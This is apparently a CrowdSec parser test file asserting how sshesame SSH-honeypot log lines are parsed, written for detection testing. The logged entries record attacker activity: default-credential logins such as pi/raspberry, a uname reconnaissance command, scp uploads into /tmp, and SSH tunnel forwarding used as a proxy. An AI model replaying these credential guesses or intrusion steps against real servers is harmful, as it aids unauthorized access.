results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][9].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][9].Evt.Parsed["message"] == "2022/05/06 05:10:03 [195.3.147.60:28696] [channel 0] direct TCP/IP forwarding from 127.0.0.1:24161 to 74.125.205.113:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][9].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][9].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][9].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][10].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][10].Evt.Parsed["message"] == "2022/05/06 05:10:03 [195.3.147.60:28696] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][10].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][10].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][10].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][11].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][11].Evt.Parsed["message"] == "2022/05/06 05:10:03 [195.3.147.60:28696] [channel 0] closed" results["s00-raw"]["crowdsecurity/non-syslog"][11].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][11].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][11].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][12].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][12].Evt.Parsed["message"] == "2022/05/06 05:10:03 [195.3.147.60:28696] [channel 1] direct TCP/IP forwarding from 127.0.0.1:14687 to [2a00:1450:4010:c02::8b]:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][12].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][12].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][12].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][13].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][13].Evt.Parsed["message"] == "2022/05/06 05:10:03 [195.3.147.60:28696] [channel 1] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][13].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][13].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][13].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][14].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][14].Evt.Parsed["message"] == "2022/05/06 05:10:03 [195.3.147.60:28696] [channel 1] closed" results["s00-raw"]["crowdsecurity/non-syslog"][14].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][14].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][14].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][15].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][15].Evt.Parsed["message"] == "2022/05/06 05:10:03 [195.3.147.60:28696] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][15].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][15].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][15].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][16].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][16].Evt.Parsed["message"] == "2022/05/06 05:11:00 [185.131.12.144:60273] authentication for user \"default\" without credentials rejected" results["s00-raw"]["crowdsecurity/non-syslog"][16].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][16].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][16].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][17].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][17].Evt.Parsed["message"] == "2022/05/06 05:11:02 [185.131.12.144:60273] authentication for user \"default\" with password \"1\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][17].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][17].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][17].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][18].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][18].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][18].Evt.Parsed["message"] == "2022/05/06 05:11:02 [185.131.12.144:60273] connection with client version \"SSH-2.0-OpenSSH_7.4\" established" results["s00-raw"]["crowdsecurity/non-syslog"][18].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][18].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][19].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][19].Evt.Parsed["message"] == "2022/05/06 05:11:04 [185.131.12.144:60273] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][19].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][19].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][19].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][20].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][20].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][20].Evt.Parsed["message"] == "2022/05/06 05:37:28 [165.232.183.156:55934] authentication for user \"xuexiaoman\" without credentials rejected" results["s00-raw"]["crowdsecurity/non-syslog"][20].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][20].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][21].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][21].Evt.Parsed["message"] == "2022/05/06 05:37:28 [165.232.183.156:55934] authentication for user \"xuexiaoman\" with password \"xuexiaoman\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][21].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][21].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][21].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][22].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][22].Evt.Parsed["message"] == "2022/05/06 05:37:28 [165.232.183.156:55934] connection with client version \"SSH-2.0-Go\" established" results["s00-raw"]["crowdsecurity/non-syslog"][22].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][22].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][22].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][23].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][23].Evt.Parsed["message"] == "2022/05/06 05:37:28 [165.232.183.156:55934] [channel 0] session requested" results["s00-raw"]["crowdsecurity/non-syslog"][23].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][23].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][23].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][24].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][24].Evt.Parsed["message"] == "2022/05/06 05:37:28 [165.232.183.156:55934] [channel 0] command \"uname -s -v -n -r -m\" requested" results["s00-raw"]["crowdsecurity/non-syslog"][24].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][24].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][24].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][25].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][25].Evt.Parsed["message"] == "2022/05/06 05:37:29 [165.232.183.156:55934] [channel 0] closed" results["s00-raw"]["crowdsecurity/non-syslog"][25].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][25].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][25].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][26].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][26].Evt.Parsed["message"] == "2022/05/06 05:40:00 [165.232.183.156:55934] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][26].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][26].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][26].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][27].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][27].Evt.Parsed["message"] == "2022/05/06 05:40:30 [186.78.209.242:47338] authentication for user \"pi\" without credentials rejected" results["s00-raw"]["crowdsecurity/non-syslog"][27].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][27].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][27].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][28].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][28].Evt.Parsed["message"] == "2022/05/06 05:40:30 [186.78.209.242:47338] authentication for user \"pi\" with password \"raspberryraspberry993311\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][28].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][28].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][28].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][29].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][29].Evt.Parsed["message"] == "2022/05/06 05:40:30 [186.78.209.242:47338] connection with client version \"SSH-2.0-OpenSSH_7.9p1 Raspbian-10+deb10u2+rpt1\" established" results["s00-raw"]["crowdsecurity/non-syslog"][29].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][29].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][29].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][30].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][30].Evt.Parsed["message"] == "2022/05/06 05:40:30 [186.78.209.242:47338] rejection of further session channels requested" results["s00-raw"]["crowdsecurity/non-syslog"][30].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][30].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][30].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][31].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][31].Evt.Parsed["message"] == "2022/05/06 05:40:30 [186.78.209.242:47338] [channel 0] session requested" results["s00-raw"]["crowdsecurity/non-syslog"][31].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][31].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][31].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][32].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][32].Evt.Parsed["message"] == "2022/05/06 05:40:31 [186.78.209.242:47338] [channel 0] environment variable \"LANG\" with value \"en_GB.UTF-8\" requested" results["s00-raw"]["crowdsecurity/non-syslog"][32].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][32].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][32].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][33].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][33].Evt.Parsed["message"] == "2022/05/06 05:40:31 [186.78.209.242:47338] [channel 0] command \"scp -t /tmp/taCiyiIF\" requested" results["s00-raw"]["crowdsecurity/non-syslog"][33].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][33].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][33].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][34].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][34].Evt.Parsed["message"] == "2022/05/06 05:40:31 [186.78.209.242:47338] [channel 0] closed" results["s00-raw"]["crowdsecurity/non-syslog"][34].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][34].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][34].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][35].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][35].Evt.Parsed["message"] == "2022/05/06 05:40:31 [186.78.209.242:47338] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][35].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][35].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][35].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][36].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][36].Evt.Parsed["message"] == "2022/05/06 05:40:32 [186.78.209.242:47346] authentication for user \"pi\" without credentials rejected" results["s00-raw"]["crowdsecurity/non-syslog"][36].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][36].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][36].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][37].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][37].Evt.Parsed["message"] == "2022/05/06 05:40:32 [186.78.209.242:47346] authentication for user \"pi\" with password \"raspberry\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][37].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][37].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][37].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][38].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][38].Evt.Parsed["message"] == "2022/05/06 05:40:32 [186.78.209.242:47346] connection with client version \"SSH-2.0-OpenSSH_7.9p1 Raspbian-10+deb10u2+rpt1\" established" results["s00-raw"]["crowdsecurity/non-syslog"][38].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][38].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][38].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][39].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][39].Evt.Parsed["message"] == "2022/05/06 05:40:32 [186.78.209.242:47346] rejection of further session channels requested" results["s00-raw"]["crowdsecurity/non-syslog"][39].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][39].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][39].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][40].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][40].Evt.Parsed["message"] == "2022/05/06 05:40:32 [186.78.209.242:47346] [channel 0] session requested" results["s00-raw"]["crowdsecurity/non-syslog"][40].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][40].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][40].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][41].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][41].Evt.Parsed["message"] == "2022/05/06 05:40:32 [186.78.209.242:47346] [channel 0] environment variable \"LANG\" with value \"en_GB.UTF-8\" requested" results["s00-raw"]["crowdsecurity/non-syslog"][41].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][41].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][41].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][42].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][42].Evt.Parsed["message"] == "2022/05/06 05:40:32 [186.78.209.242:47346] [channel 0] command \"scp -t /tmp/taCiyiIF\" requested" results["s00-raw"]["crowdsecurity/non-syslog"][42].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][42].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][42].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][43].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][43].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][43].Evt.Parsed["message"] == "2022/05/06 05:40:33 [186.78.209.242:47346] [channel 0] closed" results["s00-raw"]["crowdsecurity/non-syslog"][43].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][43].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][44].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][44].Evt.Parsed["message"] == "2022/05/06 05:40:33 [186.78.209.242:47346] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][44].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][44].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][44].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][45].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][45].Evt.Parsed["message"] == "2022/05/06 05:48:16 [190.2.139.67:7117] [channel 76] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.134.128:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][45].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][45].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][45].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][46].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][46].Evt.Parsed["message"] == "2022/05/06 05:48:16 [190.2.139.67:7117] [channel 76] input: \"GET /?requestid=78679 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][46].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][46].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][46].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][47].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][47].Evt.Parsed["message"] == "2022/05/06 05:48:16 [190.2.139.67:7117] [channel 76] closed" results["s00-raw"]["crowdsecurity/non-syslog"][47].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][47].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][47].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][48].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][48].Evt.Parsed["message"] == "2022/05/06 06:08:09 [190.2.139.67:7117] [channel 92] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][48].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][48].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][48].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][49].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][49].Evt.Parsed["message"] == "2022/05/06 06:08:09 [190.2.139.67:7117] [channel 92] input: \"GET /?requestid=16383 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][49].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][49].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][49].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][50].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][50].Evt.Parsed["message"] == "2022/05/06 06:08:09 [190.2.139.67:7117] [channel 92] closed" results["s00-raw"]["crowdsecurity/non-syslog"][50].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][50].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][50].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][51].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][51].Evt.Parsed["message"] == "2022/05/06 06:12:22 [190.2.139.67:58629] [channel 109] direct TCP/IP forwarding from 127.0.0.1:22 to 142.93.136.142:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][51].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][51].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][51].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][52].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][52].Evt.Parsed["message"] == "2022/05/06 06:12:22 [190.2.139.67:58629] [channel 109] input: \"GET /?requestid=34743 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][52].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][52].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][52].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][53].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][53].Evt.Parsed["message"] == "2022/05/06 06:12:22 [190.2.139.67:58629] [channel 109] closed" results["s00-raw"]["crowdsecurity/non-syslog"][53].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][53].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][53].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][54].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][54].Evt.Parsed["message"] == "2022/05/06 06:40:52 [45.82.65.44:42736] [channel 26] direct TCP/IP forwarding from 127.0.0.1:22 to 104.23.141.25:80 requested" results["s00-raw"]["crowdsecurity/non-syslog"][54].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][54].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][54].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][55].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][55].Evt.Parsed["message"] == "2022/05/06 06:40:52 [45.82.65.44:42736] [channel 26] input: \"GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][55].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][55].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][55].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][56].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][56].Evt.Parsed["message"] == "2022/05/06 06:40:52 [45.82.65.44:42736] [channel 26] input: \"GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13\\r\\n\\r\\n\"" results["s00-raw"]["crowdsecurity/non-syslog"][56].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][56].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][56].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][57].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][57].Evt.Parsed["message"] == "2022/05/06 06:41:23 [45.82.65.44:42736] [channel 26] closed" results["s00-raw"]["crowdsecurity/non-syslog"][57].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][57].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][57].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][58].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][58].Evt.Parsed["message"] == "2022/05/06 06:41:28 [111.70.9.198:39673] authentication for user \"default\" without credentials rejected" results["s00-raw"]["crowdsecurity/non-syslog"][58].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][58].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][58].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][59].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][59].Evt.Parsed["message"] == "2022/05/06 06:41:29 [111.70.9.198:39673] authentication for user \"default\" with password \"1\" accepted" results["s00-raw"]["crowdsecurity/non-syslog"][59].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][59].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][59].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][60].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][60].Evt.Parsed["message"] == "2022/05/06 06:41:29 [111.70.9.198:39673] connection with client version \"SSH-2.0-OpenSSH_7.4\" established" results["s00-raw"]["crowdsecurity/non-syslog"][60].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][60].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][60].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][61].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][61].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][61].Evt.Parsed["message"] == "2022/05/06 06:41:31 [111.70.9.198:39673] connection closed" results["s00-raw"]["crowdsecurity/non-syslog"][61].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][61].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][62].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][62].Evt.Parsed["program"] == "sshesame" results["s00-raw"]["crowdsecurity/non-syslog"][62].Evt.Parsed["message"] == "2022/05/06 06:43:09 [195.3.147.60:38745] authentication for user \"!root\" without credentials rejected" results["s00-raw"]["crowdsecurity/non-syslog"][62].Evt.Meta["datasource_path"] == "sshesame.log" results["s00-raw"]["crowdsecurity/non-syslog"][62].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][63].Success == true 